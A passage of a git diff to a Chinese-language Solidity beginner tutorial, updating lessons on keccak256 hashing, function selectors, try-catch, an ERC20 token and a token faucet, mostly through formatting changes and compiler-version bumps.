Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -欢迎关注我的推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) -欢迎加入WTF科学家社区,内有加微信群方法:[链接](https://discord.gg/5akcruXrsk) +社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github(1024个star发课程认证,2048个star发社群NFT): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- -哈希函数(hash function)是一个密码学概念,它可以将任意长度的消息转换为一个固定长度的值,这个值也称作哈希(hash)。这一讲,我们简单介绍一下哈希函数及在`solidity`的应用 +哈希函数(hash function)是一个密码学概念,它可以将任意长度的消息转换为一个固定长度的值,这个值也称作哈希(hash)。这一讲,我们简单介绍一下哈希函数及在`Solidity`的应用。 ## Hash的性质 + 一个好的哈希函数应该具有以下几个特性: + - 单向性:从输入的消息到它的哈希的正向运算简单且唯一确定,而反过来非常难,只能靠暴力枚举。 - 灵敏性:输入的消息改变一点对它的哈希改变很大。 - 高效性:从输入的消息到哈希的运算高效。 - 均一性:每个哈希值被取到的概率应该基本相等。 - 抗碰撞性: - - 弱抗碰撞性:给定一个消息`x`,找到另一个消息`x'`使得`hash(x) = hash(x')`是困难的。 - - 强抗碰撞性:找到任意`x`和`x'`,使得`hash(x) = hash(x')`是困难的。 + - 弱抗碰撞性:给定一个消息`x`,找到另一个消息`x'`,使得`hash(x) = hash(x')`是困难的。 + - 强抗碰撞性:找到任意`x`和`x'`,使得`hash(x) = hash(x')`是困难的。 ## Hash的应用 + - 生成数据唯一标识 - 加密签名 - 安全加密 ## Keccak256 -`Keccak256`函数是`solidity`中最常用的哈希函数,用法非常简单: + +`Keccak256`函数是`Solidity`中最常用的哈希函数,用法非常简单: + ```solidity 哈希 = keccak256(数据); ``` + ### Keccak256和sha3 + 这是一个很有趣的事情: + 1. sha3由keccak标准化而来,在很多场合下Keccak和SHA3是同义词,但在2015年8月SHA3最终完成标准化时,NIST调整了填充算法。**所以SHA3就和keccak计算的结果不一样**,这点在实际开发中要注意。 2. 以太坊在开发的时候sha3还在标准化中,所以采用了keccak,所以Ethereum和Solidity智能合约代码中的SHA3是指Keccak256,而不是标准的NIST-SHA3,为了避免混淆,直接在合约代码中写成Keccak256是最清晰的。 ### 生成数据唯一标识 我们可以利用`keccak256`来生成一些数据的唯一标识。比如我们有几个不同类型的数据:`uint`,`string`,`address`,我们可以先用`abi.encodePacked`方法将他们打包编码,然后再用`keccak256`来生成唯一标识: + ```solidity - function hash( - uint _num, - string memory _string, - address _addr +function hash( + uint _num, + string memory _string, + address _addr ) public pure returns (bytes32) { - return keccak256(abi.encodePacked(_num, _string, _addr)); - } + return keccak256(abi.encodePacked(_num, _string, _addr)); +} ``` ### 弱抗碰撞性 -我们用`keccak256`演示一下之前讲到的弱抗碰撞性,即给定一个消息`x`,找到另一个消息`x'`使得`hash(x) = hash(x')`是困难的。 + +我们用`keccak256`演示一下之前讲到的弱抗碰撞性,即给定一个消息`x`,找到另一个消息`x'`,使得`hash(x) = hash(x')`是困难的。 我们给定一个消息`0xAA`,试图去找另一个消息,使得它们的哈希值相等: ```solidity - // 弱抗碰撞性 - function weak( - string memory string1 +// 弱抗碰撞性 +function weak( + string memory string1 )public view returns (bool){ - return keccak256(abi.encodePacked(string1)) == _msg; - } + return keccak256(abi.encodePacked(string1)) == _msg; +} ``` 大家可以试个10次,看看能不能幸运的碰撞上。 ### 强抗碰撞性 + 我们用`keccak256`演示一下之前讲到的强抗碰撞性,即找到任意不同的`x`和`x'`,使得`hash(x) = hash(x')`是困难的。 我们构造一个函数`strong`,接收两个不同的`string`参数`string1`和`string2`,然后判断它们的哈希是否相同: ```solidity - // 强抗碰撞性 - function strong( +// 强抗碰撞性 +function strong( string memory string1, string memory string2 )public pure returns (bool){ - return keccak256(abi.encodePacked(string1)) == keccak256(abi.encodePacked(string2)); - } + return keccak256(abi.encodePacked(string1)) == keccak256(abi.encodePacked(string2)); +} ``` 大家可以试个10次,看看能不能幸运的碰撞上。 ## 在remix上验证 + - 部署合约查看唯一标识的生成结果 -![](./img/28-1.png) + + ![28-1](./img/28-1.png) - 验证哈希函数的灵敏性,以及强、弱抗碰撞性 -![](./img/28-2.png) + + ![28-2](./img/28-2.png) ## 总结 -这一讲,我们介绍了什么是哈希函数,以及如何使用`solidity`最常用的哈希函数`keccak256`。 +这一讲,我们介绍了什么是哈希函数,以及如何使用`Solidity`最常用的哈希函数`keccak256`。 diff --git a/29_Selector/Selector.sol b/29_Selector/Selector.sol index 08bc8c3dc..c5aaaf16d 100644 --- a/29_Selector/Selector.sol +++ b/29_Selector/Selector.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract DemoContract { // empty contract diff --git a/29_Selector/readme.md b/29_Selector/readme.md index f9ddf1c05..bb5d0b941 100644 --- a/29_Selector/readme.md +++ b/29_Selector/readme.md @@ -9,18 +9,18 @@ tags: # WTF Solidity极简入门: 29. 函数选择器Selector -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -欢迎关注我的推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) -欢迎加入WTF科学家社区,内有加微信群方法:[链接](https://discord.gg/5akcruXrsk) +社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github(1024个star发课程认证,2048个star发社群NFT): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) - ------ +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +--- ## 函数选择器 + 当我们调用智能合约时,本质上是向目标合约发送了一段`calldata`,在remix中发送一次交易后,可以在详细信息中看见`input`即为此次交易的`calldata` ![tx input in remix](./img/29-1.png) @@ -28,32 +28,40 @@ tags: 发送的`calldata`中前4个字节是`selector`(函数选择器)。这一讲,我们将介绍`selector`是什么,以及如何使用。 ### msg.data -`msg.data`是`solidity`中的一个全局变量,值为完整的`calldata`(调用函数时传入的数据)。 + +`msg.data`是`Solidity`中的一个全局变量,值为完整的`calldata`(调用函数时传入的数据)。 在下面的代码中,我们可以通过`Log`事件来输出调用`mint`函数的`calldata`: + ```solidity - // event 返回msg.data - event Log(bytes data); +// event 返回msg.data +event Log(bytes data); - function mint(address to) external{ - emit Log(msg.data); - } +function mint(address to) external{ + emit Log(msg.data); +} ``` + 当参数为`0x2c44b726ADF1963cA47Af88B284C06f30380fC78`时,输出的`calldata`为 -``` + +```text 0x6a6278420000000000000000000000002c44b726adf1963ca47af88b284c06f30380fc78 ``` + 这段很乱的字节码可以分成两部分: -``` + +```text 前4个字节为函数选择器selector: 0x6a627842 后面32个字节为输入的参数: 0x0000000000000000000000002c44b726adf1963ca47af88b284c06f30380fc78 ``` + 其实`calldata`就是告诉智能合约,我要调用哪个函数,以及参数是什么。 ### method id、selector和函数签名 + `method id`定义为`函数签名`的`Keccak`哈希后的前4个字节,当`selector`与`method id`相匹配时,即表示调用该函数,那么`函数签名`是什么? 其实在第21讲中,我们简单介绍了函数签名,为`"函数名(逗号分隔的参数类型)"`。举个例子,上面代码中`mint`的函数签名为`"mint(address)"`。在同一个智能合约中,不同的函数有不同的函数签名,因此我们可以通过函数签名来确定要调用哪个函数。 @@ -61,10 +69,11 @@ tags: **注意**,在函数签名中,`uint`和`int`要写为`uint256`和`int256`。 我们写一个函数,来验证`mint`函数的`method id`是否为`0x6a627842`。大家可以运行下面的函数,看看结果。 + ```solidity - function mintSelector() external pure returns(bytes4 mSelector){ - return bytes4(keccak256("mint(address)")); - } +function mintSelector() external pure returns(bytes4 mSelector){ + return bytes4(keccak256("mint(address)")); +} ``` 结果正是`0x6a627842`: @@ -142,6 +151,7 @@ contract Selector{ ``` ### 使用selector + 我们可以利用`selector`来调用目标函数。例如我想调用`elementaryParamSelector`函数,我只需要利用`abi.encodeWithSelector`将`elementaryParamSelector`函数的`method id`作为`selector`和参数打包编码,传给`call`函数: ```solidity @@ -159,4 +169,5 @@ contract Selector{ ![logs in remix](./img/29-3.png) ## 总结 + 这一讲,我们介绍了什么是`函数选择器`(`selector`),它和`msg.data`、`函数签名`的关系,以及如何使用它调用目标函数。 diff --git a/30_TryCatch/TryCatch.sol b/30_TryCatch/TryCatch.sol index d5a164adc..7559dc35e 100644 --- a/30_TryCatch/TryCatch.sol +++ b/30_TryCatch/TryCatch.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract OnlyEven{ constructor(uint a){ diff --git a/30_TryCatch/readme.md b/30_TryCatch/readme.md index 65238da55..20b5fee8a 100644 --- a/30_TryCatch/readme.md +++ b/30_TryCatch/readme.md @@ -9,58 +9,65 @@ tags: # WTF Solidity极简入门: 30. Try Catch -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -欢迎关注我的推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) -欢迎加入WTF科学家社区,内有加微信群方法:[链接](https://discord.gg/5akcruXrsk) +社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github(1024个star发课程认证,2048个star发社群NFT): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- -`try-catch`是现代编程语言几乎都有的处理异常的一种标准方式,`solidity`0.6版本也添加了它。这一讲,我们将介绍如何利用`try-catch`处理智能合约中的异常。 +`try-catch`是现代编程语言几乎都有的处理异常的一种标准方式,`Solidity`0.6版本也添加了它。这一讲,我们将介绍如何利用`try-catch`处理智能合约中的异常。 ## `try-catch` -在`solidity`中,`try-catch`只能被用于`external`函数或创建合约时`constructor`(被视为`external`函数)的调用。基本语法如下: + +在`Solidity`中,`try-catch`只能被用于`external`函数或创建合约时`constructor`(被视为`external`函数)的调用。基本语法如下: + ```solidity - try externalContract.f() { - // call成功的情况下 运行一些代码 - } catch { - // call失败的情况下 运行一些代码 - } +try externalContract.f() { + // call成功的情况下 运行一些代码 +} catch { + // call失败的情况下 运行一些代码 +} ``` + 其中`externalContract.f()`是某个外部合约的函数调用,`try`模块在调用成功的情况下运行,而`catch`模块则在调用失败时运行。 同样可以使用`this.f()`来替代`externalContract.f()`,`this.f()`也被视作为外部调用,但不可在构造函数中使用,因为此时合约还未创建。 如果调用的函数有返回值,那么必须在`try`之后声明`returns(returnType val)`,并且在`try`模块中可以使用返回的变量;如果是创建合约,那么返回值是新创建的合约变量。 + ```solidity - try externalContract.f() returns(returnType val){ - // call成功的情况下 运行一些代码 - } catch { - // call失败的情况下 运行一些代码 - } +try externalContract.f() returns(returnType val){ + // call成功的情况下 运行一些代码 +} catch { + // call失败的情况下 运行一些代码 +} ``` 另外,`catch`模块支持捕获特殊的异常原因: ```solidity - try externalContract.f() returns(returnType){ - // call成功的情况下 运行一些代码 - } catch Error(string memory /*reason*/) { - // 捕获revert("reasonString") 和 require(false, "reasonString") - } catch Panic(uint /*errorCode*/) { - // 捕获Panic导致的错误 例如assert失败 溢出 除零 数组访问越界 - } catch (bytes memory /*lowLevelData*/) { - // 如果发生了revert且上面2个异常类型匹配都失败了 会进入该分支 - // 例如revert() require(false) revert自定义类型的error - } +try externalContract.f() returns(returnType){ + // call成功的情况下 运行一些代码 +} catch Error(string memory /*reason*/) { + // 捕获revert("reasonString") 和 require(false, "reasonString") +} catch Panic(uint /*errorCode*/) { + // 捕获Panic导致的错误 例如assert失败 溢出 除零 数组访问越界 +} catch (bytes memory /*lowLevelData*/) { + // 如果发生了revert且上面2个异常类型匹配都失败了 会进入该分支 + // 例如revert() require(false) revert自定义类型的error +} ``` ## `try-catch`实战 + ### `OnlyEven` + 我们创建一个外部合约`OnlyEven`,并使用`try-catch`来处理异常: + ```solidity contract OnlyEven{ constructor(uint a){ @@ -75,94 +82,101 @@ contract OnlyEven{ } } ``` + `OnlyEven`合约包含一个构造函数和一个`onlyEven`函数。 - 构造函数有一个参数`a`,当`a=0`时,`require`会抛出异常;当`a=1`时,`assert`会抛出异常;其他情况均正常。 - `onlyEven`函数有一个参数`b`,当`b`为奇数时,`require`会抛出异常。 ### 处理外部函数调用异常 + 首先,在`TryCatch`合约中定义一些事件和状态变量: + ```solidity - // 成功event - event SuccessEvent(); +// 成功event +event SuccessEvent(); - // 失败event - event CatchEvent(string message); - event CatchByte(bytes data); +// 失败event +event CatchEvent(string message); +event CatchByte(bytes data); - // 声明OnlyEven合约变量 - OnlyEven even; +// 声明OnlyEven合约变量 +OnlyEven even; - constructor() { - even = new OnlyEven(2); - } +constructor() { + even = new OnlyEven(2); +} ``` + `SuccessEvent`是调用成功会释放的事件,而`CatchEvent`和`CatchByte`是抛出异常时会释放的事件,分别对应`require/revert`和`assert`异常的情况。`even`是个`OnlyEven`合约类型的状态变量。 然后我们在`execute`函数中使用`try-catch`处理调用外部函数`onlyEven`中的异常: ```solidity - // 在external call中使用try-catch - function execute(uint amount) external returns (bool success) { - try even.onlyEven(amount) returns(bool _success){ - // call成功的情况下 - emit SuccessEvent(); - return _success; - } catch Error(string memory reason){ - // call不成功的情况下 - emit CatchEvent(reason); - } +// 在external call中使用try-catch +function execute(uint amount) external returns (bool success) { + try even.onlyEven(amount) returns(bool _success){ + // call成功的情况下 + emit SuccessEvent(); + return _success; + } catch Error(string memory reason){ + // call不成功的情况下 + emit CatchEvent(reason); } +} ``` -### 在remix上验证 + +### 在remix上验证,处理外部函数调用异常 当运行`execute(0)`的时候,因为`0`为偶数,满足`require(b % 2 == 0, "Ups! Reverting");`,没有异常抛出,调用成功并释放`SuccessEvent`事件。 -![](./img/30-1.png) +![30-1](./img/30-1.png) 当运行`execute(1)`的时候,因为`1`为奇数,不满足`require(b % 2 == 0, "Ups! Reverting");`,异常抛出,调用失败并释放`CatchEvent`事件。 -![](./img/30-2.png) +![30-2](./img/30-2.png) ### 处理合约创建异常 这里,我们利用`try-catch`来处理合约创建时的异常。只需要把`try`模块改写为`OnlyEven`合约的创建就行: ```solidity - // 在创建新合约中使用try-catch (合约创建被视为external call) - // executeNew(0)会失败并释放`CatchEvent` - // executeNew(1)会失败并释放`CatchByte` - // executeNew(2)会成功并释放`SuccessEvent` - function executeNew(uint a) external returns (bool success) { - try new OnlyEven(a) returns(OnlyEven _even){ - // call成功的情况下 - emit SuccessEvent(); - success = _even.onlyEven(a); - } catch Error(string memory reason) { - // catch失败的 revert() 和 require() - emit CatchEvent(reason); - } catch (bytes memory reason) { - // catch失败的 assert() - emit CatchByte(reason); - } +// 在创建新合约中使用try-catch (合约创建被视为external call) +// executeNew(0)会失败并释放`CatchEvent` +// executeNew(1)会失败并释放`CatchByte` +// executeNew(2)会成功并释放`SuccessEvent` +function executeNew(uint a) external returns (bool success) { + try new OnlyEven(a) returns(OnlyEven _even){ + // call成功的情况下 + emit SuccessEvent(); + success = _even.onlyEven(a); + } catch Error(string memory reason) { + // catch失败的 revert() 和 require() + emit CatchEvent(reason); + } catch (bytes memory reason) { + // catch失败的 assert() + emit CatchByte(reason); } +} ``` -### 在remix上验证 +### 在remix上验证,处理合约创建异常 当运行`executeNew(0)`时,因为`0`不满足`require(a != 0, "invalid number");`,会失败并释放`CatchEvent`事件。 -![](./img/30-3.png) +![30-3](./img/30-3.png) 当运行`executeNew(1)`时,因为`1`不满足`assert(a != 1);`,会失败并释放`CatchByte`事件。 -![](./img/30-4.png) +![30-4](./img/30-4.png) 当运行`executeNew(2)`时,因为`2`满足`require(a != 0, "invalid number");`和`assert(a != 1);`,会成功并释放`SuccessEvent`事件。 -![](./img/30-5.png) +![30-5](./img/30-5.png) ## 总结 -在这一讲,我们介绍了如何在`solidity`使用`try-catch`来处理智能合约运行中的异常: + +在这一讲,我们介绍了如何在`Solidity`使用`try-catch`来处理智能合约运行中的异常: + - 只能用于外部合约调用和合约创建。 - 如果`try`执行成功,返回变量必须声明,并且与返回的变量类型相同。 diff --git a/31_ERC20/ERC20.sol b/31_ERC20/ERC20.sol index 4ae985231..9156887a1 100644 --- a/31_ERC20/ERC20.sol +++ b/31_ERC20/ERC20.sol @@ -1,7 +1,7 @@ // SPDX-License-Identifier: MIT // WTF Solidity by 0xAA -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "./IERC20.sol"; @@ -25,7 +25,7 @@ contract ERC20 is IERC20 { } // @dev 实现`transfer`函数,代币转账逻辑 - function transfer(address recipient, uint amount) external override returns (bool) { + function transfer(address recipient, uint amount) public override returns (bool) { balanceOf[msg.sender] -= amount; balanceOf[recipient] += amount; emit Transfer(msg.sender, recipient, amount); @@ -33,7 +33,7 @@ contract ERC20 is IERC20 { } // @dev 实现 `approve` 函数, 代币授权逻辑 - function approve(address spender, uint amount) external override returns (bool) { + function approve(address spender, uint amount) public override returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; @@ -44,7 +44,7 @@ contract ERC20 is IERC20 { address sender, address recipient, uint amount - ) external override returns (bool) { + ) public override returns (bool) { allowance[sender][msg.sender] -= amount; balanceOf[sender] -= amount; balanceOf[recipient] += amount; diff --git a/31_ERC20/IERC20.sol b/31_ERC20/IERC20.sol index 3816c71f7..5ba3e7406 100644 --- a/31_ERC20/IERC20.sol +++ b/31_ERC20/IERC20.sol @@ -1,7 +1,7 @@ // SPDX-License-Identifier: MIT // WTF Solidity by 0xAA -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; /** * @dev ERC20 接口合约. diff --git a/31_ERC20/readme.md b/31_ERC20/readme.md index 4c2bcc959..ec4adcdaf 100644 --- a/31_ERC20/readme.md +++ b/31_ERC20/readme.md @@ -10,15 +10,15 @@ tags: # WTF Solidity极简入门: 31. ERC20 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -欢迎关注我的推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) -欢迎加入WTF科学家社区,内有加微信群方法:[链接](https://discord.gg/5akcruXrsk) +社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github(1024个star发课程认证,2048个star发社群NFT): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 这一讲,我们将介绍以太坊上的`ERC20`代币标准,并发行自己的测试代币。 @@ -26,13 +26,16 @@ tags: `ERC20`是以太坊上的代币标准,来自2015年11月V神参与的[`EIP20`](https://eips.ethereum.org/EIPS/eip-20)。它实现了代币转账的基本逻辑: -- 账户余额 -- 转账 -- 授权转账 -- 代币总供给 -- 代币信息(可选):名称,代号,小数位数 +- 账户余额(balanceOf()) +- 转账(transfer()) +- 授权转账(transferFrom()) +- 授权(approve()) +- 代币总供给(totalSupply()) +- 授权转账额度(allowance()) +- 代币信息(可选):名称(name()),代号(symbol()),小数位数(decimals()) ## IERC20 + `IERC20`是`ERC20`代币标准的接口合约,规定了`ERC20`代币需要实现的函数和事件。 之所以需要定义接口,是因为有了规范后,就存在所有的`ERC20`代币都通用的函数名称,输入参数,输出参数。 在接口函数中,只需要定义函数名称,输入参数,输出参数,并不关心函数内部如何实现。 @@ -40,41 +43,46 @@ tags: 这就是为什么需要`ERC20.sol`和`IERC20.sol`两个文件实现一个合约。 ### 事件 + `IERC20`定义了`2`个事件:`Transfer`事件和`Approval`事件,分别在转账和授权时被释放 ```solidity - /** - * @dev 释放条件:当 `value` 单位的货币从账户 (`from`) 转账到另一账户 (`to`)时. - */ - event Transfer(address indexed from, address indexed to, uint256 value); - - /** - * @dev 释放条件:当 `value` 单位的货币从账户 (`owner`) 授权给另一账户 (`spender`)时. - */ - event Approval(address indexed owner, address indexed spender, uint256 value); +/** + * @dev 释放条件:当 `value` 单位的货币从账户 (`from`) 转账到另一账户 (`to`)时. + */ +event Transfer(address indexed from, address indexed to, uint256 value); + +/** + * @dev 释放条件:当 `value` 单位的货币从账户 (`owner`) 授权给另一账户 (`spender`)时. + */ +event Approval(address indexed owner, address indexed spender, uint256 value); ``` ### 函数 + `IERC20`定义了`6`个函数,提供了转移代币的基本功能,并允许代币获得批准,以便其他链上第三方使用。 - `totalSupply()`返回代币总供给 -```solidity + + ```solidity /** * @dev 返回代币总供给. */ function totalSupply() external view returns (uint256); -``` + ``` - `balanceOf()`返回账户余额 -```solidity + + ```solidity /** * @dev 返回账户`account`所持有的代币数. */ function balanceOf(address account) external view returns (uint256); -``` + ``` - `transfer()`转账 -```solidity + + ```solidity /** * @dev 转账 `amount` 单位代币,从调用者账户到另一账户 `to`. * @@ -83,20 +91,22 @@ tags: * 释放 {Transfer} 事件. */ function transfer(address to, uint256 amount) external returns (bool); -``` + ``` - `allowance()`返回授权额度 -```solidity + + ```solidity /** * @dev 返回`owner`账户授权给`spender`账户的额度,默认为0。 * * 当{approve} 或 {transferFrom} 被调用时,`allowance`会改变. */ function allowance(address owner, address spender) external view returns (uint256); -``` + ``` - `approve()`授权 -```solidity + + ```solidity /** * @dev 调用者账户给`spender`账户授权 `amount`数量代币。 * @@ -105,10 +115,11 @@ tags: * 释放 {Approval} 事件. */ function approve(address spender, uint256 amount) external returns (bool); -``` + ``` - `transferFrom()`授权转账 -```solidity + + ```solidity /** * @dev 通过授权机制,从`from`账户向`to`账户转账`amount`数量代币。转账的部分会从调用者的`allowance`中扣除。 * @@ -121,91 +132,98 @@ tags: address to, uint256 amount ) external returns (bool); -``` + ``` ## 实现ERC20 现在我们写一个`ERC20`,将`IERC20`规定的函数简单实现。 ### 状态变量 + 我们需要状态变量来记录账户余额,授权额度和代币信息。其中`balanceOf`, `allowance`和`totalSupply`为`public`类型,会自动生成一个同名`getter`函数,实现`IERC20`规定的`balanceOf()`, `allowance()`和`totalSupply()`。而`name`, `symbol`, `decimals`则对应代币的名称,代号和小数位数。 **注意**:用`override`修饰`public`变量,会重写继承自父合约的与变量同名的`getter`函数,比如`IERC20`中的`balanceOf()`函数。 ```solidity - mapping(address => uint256) public override balanceOf; +mapping(address => uint256) public override balanceOf; - mapping(address => mapping(address => uint256)) public override allowance; +mapping(address => mapping(address => uint256)) public override allowance; - uint256 public override totalSupply; // 代币总供给 +uint256 public override totalSupply; // 代币总供给 - string public name; // 名称 - string public symbol; // 代号 - - uint8 public decimals = 18; // 小数位数 +string public name; // 名称 +string public symbol; // 代号 + +uint8 public decimals = 18; // 小数位数 ``` ### 函数 + - 构造函数:初始化代币名称、代号。 -```solidity + + ```solidity constructor(string memory name_, string memory symbol_){ name = name_; symbol = symbol_; } -``` + ``` - `transfer()`函数:实现`IERC20`中的`transfer`函数,代币转账逻辑。调用方扣除`amount`数量代币,接收方增加相应代币。土狗币会魔改这个函数,加入税收、分红、抽奖等逻辑。 -```solidity - function transfer(address recipient, uint amount) external override returns (bool) { + + ```solidity + function transfer(address recipient, uint amount) public override returns (bool) { balanceOf[msg.sender] -= amount; balanceOf[recipient] += amount; emit Transfer(msg.sender, recipient, amount); return true; } -``` + ``` - `approve()`函数:实现`IERC20`中的`approve`函数,代币授权逻辑。被授权方`spender`可以支配授权方的`amount`数量的代币。`spender`可以是EOA账户,也可以是合约账户:当你用`uniswap`交易代币时,你需要将代币授权给`uniswap`合约。 -```solidity - function approve(address spender, uint amount) external override returns (bool) { + ```solidity + function approve(address spender, uint amount) public override returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } -``` + ``` - `transferFrom()`函数:实现`IERC20`中的`transferFrom`函数,授权转账逻辑。被授权方将授权方`sender`的`amount`数量的代币转账给接收方`recipient`。 -```solidity + + ```solidity function transferFrom( address sender, address recipient, uint amount - ) external override returns (bool) { + ) public override returns (bool) { allowance[sender][msg.sender] -= amount; balanceOf[sender] -= amount; balanceOf[recipient] += amount; emit Transfer(sender, recipient, amount); return true; } -``` + ``` - `mint()`函数:铸造代币函数,不在`IERC20`标准中。这里为了教程方便,任何人可以铸造任意数量的代币,实际应用中会加权限管理,只有`owner`可以铸造代币: -```solidity + + ```solidity function mint(uint amount) external { balanceOf[msg.sender] += amount; totalSupply += amount; emit Transfer(address(0), msg.sender, amount); } -``` + ``` - `burn()`函数:销毁代币函数,不在`IERC20`标准中。 -```solidity + + ```solidity function burn(uint amount) external { balanceOf[msg.sender] -= amount; totalSupply -= amount; emit Transfer(msg.sender, address(0), amount); } -``` + ``` ## 发行`ERC20`代币 @@ -220,6 +238,7 @@ tags: 可以点开右侧的Debug按钮,具体查看下面的logs。 里面包含四个关键信息: + - 事件`Transfer` - 铸币地址`0x0000000000000000000000000000000000000000` - 接收地址`0x5B38Da6a701c568545dCfcB03FcB875f56beddC4` @@ -233,7 +252,6 @@ tags: ![查询余额](./img/31-3.png) - ## 总结 在这一讲,我们学习了以太坊上的`ERC20`标准及其实现,并且发行了我们的测试代币。2015年底提出的`ERC20`代币标准极大的降低了以太坊上发行代币的门槛,并开启了`ICO`大时代。在投资时,仔细阅读项目的代币合约,可以有效避开貔貅,增加投资成功率。 diff --git a/32_Faucet/Faucet.sol b/32_Faucet/Faucet.sol index 4b2627259..c6a9c687e 100644 --- a/32_Faucet/Faucet.sol +++ b/32_Faucet/Faucet.sol @@ -1,6 +1,6 @@ // SPDX-License-Identifier: MIT // By 0xAA -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "./IERC20.sol"; //import IERC20 @@ -23,7 +23,7 @@ contract ERC20 is IERC20 { } // @dev 实现`transfer`函数,代币转账逻辑 - function transfer(address recipient, uint amount) external override returns (bool) { + function transfer(address recipient, uint amount) public override returns (bool) { balanceOf[msg.sender] -= amount; balanceOf[recipient] += amount; emit Transfer(msg.sender, recipient, amount); @@ -31,7 +31,7 @@ contract ERC20 is IERC20 { } // @dev 实现 `approve` 函数, 代币授权逻辑 - function approve(address spender, uint amount) external override returns (bool) { + function approve(address spender, uint amount) public override returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; @@ -42,7 +42,7 @@ contract ERC20 is IERC20 { address sender, address recipient, uint amount - ) external override returns (bool) { + ) public override returns (bool) { allowance[sender][msg.sender] -= amount; balanceOf[sender] -= amount; balanceOf[recipient] += amount; @@ -76,7 +76,7 @@ contract Faucet { // SendToken事件 event SendToken(address indexed Receiver, uint256 indexed Amount); - // 部署时设定ERC2代币合约 + // 部署时设定ERC20代币合约 constructor(address _tokenContract) { tokenContract = _tokenContract; // set token contract } diff --git a/32_Faucet/IERC20.sol b/32_Faucet/IERC20.sol index 3816c71f7..5ba3e7406 100644 --- a/32_Faucet/IERC20.sol +++ b/32_Faucet/IERC20.sol @@ -1,7 +1,7 @@ // SPDX-License-Identifier: MIT // WTF Solidity by 0xAA -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; /** * @dev ERC20 接口合约. diff --git a/32_Faucet/readme.md b/32_Faucet/readme.md index 394cd0ae9..c13a0838d 100644 --- a/32_Faucet/readme.md +++ b/32_Faucet/readme.md @@ -10,15 +10,15 @@ tags: # WTF Solidity极简入门: 32. 代币水龙头 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -欢迎关注我的推特:[@0xAA_Science](https://twitter.com/0xAA_Science) 